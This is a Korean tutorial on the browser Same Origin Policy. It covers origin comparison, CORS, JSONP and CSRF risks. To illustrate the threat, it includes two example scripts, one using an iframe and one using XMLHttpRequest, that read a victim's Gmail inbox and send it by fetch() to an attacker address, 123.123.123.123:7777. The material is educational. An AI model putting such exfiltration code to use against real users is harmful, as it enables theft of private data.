SOP(Same Origin Policy) 개념 정리

SOP(Same Origin Policy) 개념 정리

in

SOP(동일 출처 정책, Same Origin Policy) 는 Client Site web 보안의 중요한 요소이며 웹 사이트간의 document origin을 비교하여 정보의 교류에 제한을 두는 정책입니다.

Mozila 개발자 페이지에서는 SOP를 다음과 같이 정의하고 있습니다.

SOP

The same-origin policy is a critical security mechanism that restricts how a document or script loaded by one origin can interact with a resource from another origin.

SOP는 한 Origin 에서 Load 한 Document 또는 Script가 다른 Origin 의 리소스와 상호 작용할 수 있는 방법을 제한하는 중요한 보안 메커니즘입니다.

SOP 원리

브라우저는 특정 웹 사이트에 접근하여 리소스를 요청 하게되면 해당 웹사이트로 부터 리소스를 받게 됩니다.
여기서 받게되는 리소스는 Document Html, Css, Png 등 여러가지가 있습니다.

브라우저를 이용해서 naver.com 에 접근을 하면 브라우저는 Naver로부터 HTML Document를 다운로드 받아 Document를 해석해서 화면에 뿌려주게 됩니다. image HTML Document

이때 브라우저는 Naver의 HTML Document를 다운로드 하면서 해당 Document의 출신이 어딘지 꼬리표를 달아놓게 되는데 이를 Orgin 이라고 합니다.

관리자도구의 Console Tab에서 브라우저가 해석한 Document 객체를 확인할 수 있으며 해당 Document의 출신인 “Origin”도 확인 가능합니다. image Check Origin

이러한 Document 내에서 다른 외부 리소스들과 상호 작용을 할때에 적영되는 보안 메커니즘이며, 외부 리소스의 Origin이 Document의 Origin과 다른 경우 제한을 두는 목적으로 사용됩니다.

브라우저가 Origin을 비교할때는 딱 세가지 Scheme(Protocol), Host, Port 딱 세가지로 비교를 진행합니다.
image URL Origin

iframe, content, window.parent, window.open, window.opener 등 여러가지 API가 SOP에 의해 리소스 공유가 제한됩니다.

origin이 동일한 경우를 Same-Origin, origin이 일치하지 않는 경우를 Cross-Origin 이라고 합니다.

  • Same-Origin 끼리는 상호간의 Document에 자유롭게 접근 및 리소스의 공유가 가능합니다.
  • Cross-Origin 끼리는 상호간의 Document에 접근 불가하며 매우 제한적인 객체에만 접근이 가능합니다.

그러나 가끔 필요에 따라서 Cross-Origin 끼리의 데이터 교환이 필요할 때가 있는데 그럴때 window.postMessage API 를 사용합니다.

SOP 실습

SOP가 실제로 적용되는 것은 아주 간단한 방법으로 확인이 가능합니다.

naver.com 에 접속 후 관리자 콘솔을 열어서 아래와 같은 명령을 적어서 sameNewOrigin 이라는 객체가 [https://daum.net](https://daum.net) 이라는 Document Origin을 갖도록 합니다.

sameNewWindow = window.open('https://daum.net');

“https://naver.com” 이 oOigin인 Naver 사이트 내에서 “https://daum.net” 이 Origin인 sameNewWindow객체에 접근하여 리소스를 읽어오는것이 제한되는 것을 확인할 수 있습니다.

console.log(sameNewWindow.location.href);

image SOP test

SOP가 적용되지 않았을때 공격 시나리오

SOP은 웹 보안에서 빼놓을 수 없는 보안 메커니즘 입니다. 만약 SOP가 웹에 적용되지 않는다면 아래와 같은 공격이 가능할것 입니다.

1) iframe

공격자는 아래의 악성 스크립트가 담겨있는 http://123.123.123.123:7777 를 서비스합니다.

<iframe id="mail" src="https://mail.google.com/mail/inbox"></iframe>

<script>
  document.getElementById("mail").addEventListener("load", function(e) {
    mailData = document.getElementById("mail").contentDocument.body
    encoded = btoa(encodeURIComponent(mailData))
    fetch("https://123.123.123.123:7777?"+ encoded)
  });
</script>

피해자에게 [http://123.123.123.123:7777](http://123.123.123.123:7777) 로 접속하도록 유도한 후 피해자가 공격자의 서버에 접속하게 될 경우 위 스크립트가 실행이 되는데, 만약 피해자의 google 계정이 로그인된 상태라면 iframe내부에서는 google mail 서버로 요청을 할때 cookie를 자동으로 붙여서 요청하게 되므로 결국 피해자의 google mail inbox로 접근하게 됩니다.

iframe이 로드된 후 스크립트가 실행 되는데, iframe의 id인 mail Element를 가져와서 공격자는 최종적으로 피해자의 mail 정보를 열람할 수 있게 됩니다.

만약, 여기서 SOP가 적용되어 있다면 iframe 내 메일 서버의 Document Origin인 [https://mail.google.com](https://mail.google.com) 와 script내 공격자 서버의 document origin인 [http://123.123.123.123:7777](http://123.123.123.123:7777) 과 일치하지 않기 때문에, 다른 origin 끼리의 리소스를 공유하지 못하게 됩니다.

2) XMLHttpRequest()

1번 케이스와 동일하게 공격자가 아래 악성 스크립트가 포함된 서버를 열어놓고 피해자에게 해당 사이트로의 접속을 유도합니다.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == XMLHttpRequest.DONE) {
    encodedMail = btoa(encodeURIComponent(xhr.responseText));
    fetch("https://123.123.123.123:7777?"+ encodedMail);
  }
}

xhr.open('GET', 'http://mail.google.com/mail/inbox', true);
xhr.send(null);

피해자가 공격자의 서버에 접속하면, “XMLHttpRequest” 객체를 만들고 이벤트를 등록한 후 Google 메일에 inbox를 요청하게 됩니다.

이때도 google에 접속이 된 상태라면 요청에 cookie를 붙여서 전송하게 되고, 메일 서버는 유저의 메일 데이터를 포함시켜 응답 합니다.
“XMLHttpRequest” 객체의 데이터의 수신이 끝나면 마찬가지로 Response된 유저의 메일 데이터를 공격자의 서버로 전송합니다.

이럴때 SOP가 적용이 되어 있다면 “XMLHttpRequest” 객체로 생성된 Origin은 google.mail 이며 공격자의 Origin은 123.123.123.123:7777 이기 때문에 Mail Data를 읽어들일 수가 없게됩니다.

유의할 점은 “XMLHttpRequest()”와 같은 Web API를 이용해서 다른 서버에 자원을 요청할때 Preflight 요청이 아닌 한에서만 Same-Origin, Cross-Origin 모두 write(전송)이 가능해집니다.

Preflight가 아닌 일반적인 경우에는 write이 가능해지기 때문에 CSRF 공격에 취약해집니다.

Cross-Origin 간의 액세스 방법

브라우저가 SOP에 구애받지 않고 외부 출처에 대한 접근을 허용해주는 예외적인 경우가 존재하는데, 예를 들면 이미지나 자바스크립트, CSS 등의 리소스를 불러오는 embedding은 SOP의 영향을 받지 않습니다.

그러나 위 리소스 외에도 SOP를 완화하여 다른 Origin의 데이터를 받아서 처리해야 하는 상황이 있을수 있습니다.

1) Cross Origin Resource Sharing (CORS)

HTTP 헤더에 기반하여 Cross-Origin 간에 리소스를 공유하는 대표적인 방법이며 정책 입니다.

‘Access-Control-Allow-Origin’ 헤더에 해당 Data를 읽을 수 있는 Origin을 명시해주면 다른 Origin 끼리의 Data를 Read 할 수 있게 됩니다.

유의할 점은 허용할 최소한의 Origin만을 ‘Access-Control-Allow-Origin’ 에 추가 해야 합니다.
만약 모든 Origin을 허용하도록 정책을 설정한다면 SOP는 무의미해지기 때문입니다.

2) JSONP

JSONP는 클라이언트가 아닌, 각기 다른 도메인에 상주하는 서버로부터 데이터를 요청하기 위해 사용됩니다. 2005년에 Bob Ippolito가 제안하였습니다.

위에서 말한 embedding 리소스에 대해서는 Cross-Origin 간의 리소스 접근을 허용한다는 원리를 이용하여 <script> 태그로 Cross-Origin의 데이터를 읽어들이는 것입니다.

그러나 <script> 태그 내의 데이터는 javascript 코드로 인식되기 때문에 별도의 CallBack 함수를 활용해야 합니다. Cross-Origin에 데이터를 요청할 때 CallBack 파라미터에 어떤 함수로 받아오는 데이터를 핸들링 할지 넘겨주면, 대상 서버는 전달된 CallBack으로 데이터를 감싸서 응답하게 됩니다.

JSONP는 이러한 방법으로 SOP를 우회하게 됩니다.

즉, JSONP를 사용하게되면 모든 Origin을 대상으로 SOP가 무력화 되기 때문에 위에서 설명한 시나리오의 공격이 가능해 지게 되므로 절대 사용해서는 안됩니다.

JSONP를 이용해서 Cross-Origin 액세스 하는 방식은 표준이 아니며 레거시 사이트의 경우 JSONP를 사용해 SOP정책을 완화하는 경우가 더러 있다고 합니다.

만약 실제 서비스되는 사이트가 JSONP로 모든 Cross-Origin 끼리의 액세스가 가능해진 상태라면 빠른시일 내에 CORS 정책을 사용하도록 마이그레이션 해야합니다.

SOP 유의 사항

SOP는 리소스에 대해 요청(Write)은 가능하지만 참조(Read)는 불가능 합니다. 공격자의 서버에서 iframe 태그로 피해자의 Google Mail 서버로의 요청하는 시나리오가 가능했던 것도 그 이유 때문입니다.

1) 정보 누출의 위험성

SOP는 Cross-Origin 간의 Writes와 embedding은 일반적으로 가능합니다. embdding은 아래 여러 태그를 이용해서 다른 사이트의 리소스를 넣는것을 뜻합니다.

<script src=""></script> 혹은 <img>, <video>, <audio>, <object>, <embed>

이것이 가능한 점을 이용하여 해당 사용자가 로그인 중인지 아닌지와 같은 정보 누출의 위험성이 있습니다.

2 ) CSRF 공격에 대한 위험성

위에서 예로든 시나리오의 경우 피해자의 Mail Data를 열람하기 위한 목적으로, Mail Data에 대한 요청이 완료된 후 Read하여 데이터를 읽어들이는 것이 목적이지만, SOP가 적용되어 데이터를 읽어들이는 과정이 막히게 됩니다.

이 의미는 ‘데이터에대한 요청’은 가능하다는 것이며 가져오는 것이 불가능 하단 것을 뜻하는데, 만약 공격자가 Response Data를 열람할 필요가 없는(에를 들어 비밀번호 변경)요청을 시도한다고 가정 했을때, 해당 서버에 CSRF에 대한 대책이 안되어 있으면 유저의 패스워드는 공격자가 의도한 패스워드로 변경 됩니다.